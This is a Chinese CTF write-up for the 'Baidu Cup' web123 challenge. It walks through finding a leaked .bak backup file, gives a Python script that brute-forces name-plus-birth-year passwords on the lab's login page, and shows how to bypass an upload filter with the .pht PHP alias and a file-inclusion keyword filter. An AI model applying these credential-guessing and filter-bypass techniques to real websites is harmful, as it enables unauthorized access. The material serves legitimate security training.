“百度杯”CTF比赛 九月场-web123题
知识储备
敏感信息泄露
敏感信息泄露,是指存在一些备份文件未经处理,而保存在网站目录上,可以进行访问,获得一些信息。
网站备份文件泄露常见后缀:
.bak .html _index.html .swp .rar .txt .zip .7z .sql .tar.gz .tgz .tar
网站备份文件泄露扫描工具:
Test404网站备份文件扫描器 v2.0(win)
ihoneyBakFileScan(python)
ihoneyBakFileScan v0.2 多进程批量网站备份文件泄露扫描工具,根据域名自动生成相关扫描字典,自动记录扫描成功的备份地址到文件
地址:
php别名
补充php的别名 【php2, php3, php4, php5, phps, pht, phtm, phtml】
实战测试
进入网站:
查看源代码:
提示存在user.php界面,保存的是用户信息,访问该界面:
发现空白,检测是否存在敏感信息泄露
发现存在 .bak 备份文件,访问该文件,弹出下载框:
打开可发现,文件中存在用户登录信息:
根据提示,用户登录密码为姓名+出生日期,但是具体哪一年并没说,但是盲猜应该是1999或者之前,所以此时我们需要对其进行爆破,从1999年往前扫描,逐年进行判断:
爆破脚本代码:
import requests
url = 'http://6d2809fd89d340e0bf1d71bc970c80fe81e45518f41e4aa3.changame.ichunqiu.com/login.php'
data = {
'username': '',
'password': '',
'submit': '登录'
}
num = 1
file = open(r".\user.php.bak", 'r')
for year in range(1999, 1988, -1):
for name in file.readlines():
data['username'] = str(name).strip()
data['password'] = str(name).strip() + str(1990).strip()
print(data)
response = requests.post(url, data=data)
html = response.text
if '登录成功' in html:
print('登录成功')
print(name)
exit()
else:
print('登陆失败')
print(num)
num = num + 1
爆破出登录用户名为:lixiuyun,密码为:lixiuyun1990 。(说实话,1990确实是挺绝的)
登录进去之后发现是空白页:
查看源代码,发现需要更改网页代码:
根据提示,打开f12,进行网页代码编辑:
此时,出现文件上传点:
尝试上传php文件,出现报错:
说明存在文件后缀名检测,使用burpsuit抓包,进行分析:
更改后缀名:
发现更改后报错:文件名不合法,再次更改为 .png.php :
发现报错文件名不能存在php,此时想到可以使用php别名进行替换:
测试后发现,.pht可行:
在响应代码中出现一个新网址:/view.php,访问该页面:
出现 file?,则可能是一个文件包含漏洞,输入file的参数为flag进行尝试 :
?file=flag
发现提示过滤掉了flag,继续尝试flflagag发现可行:
?flie=flflagag
成功爆出flag!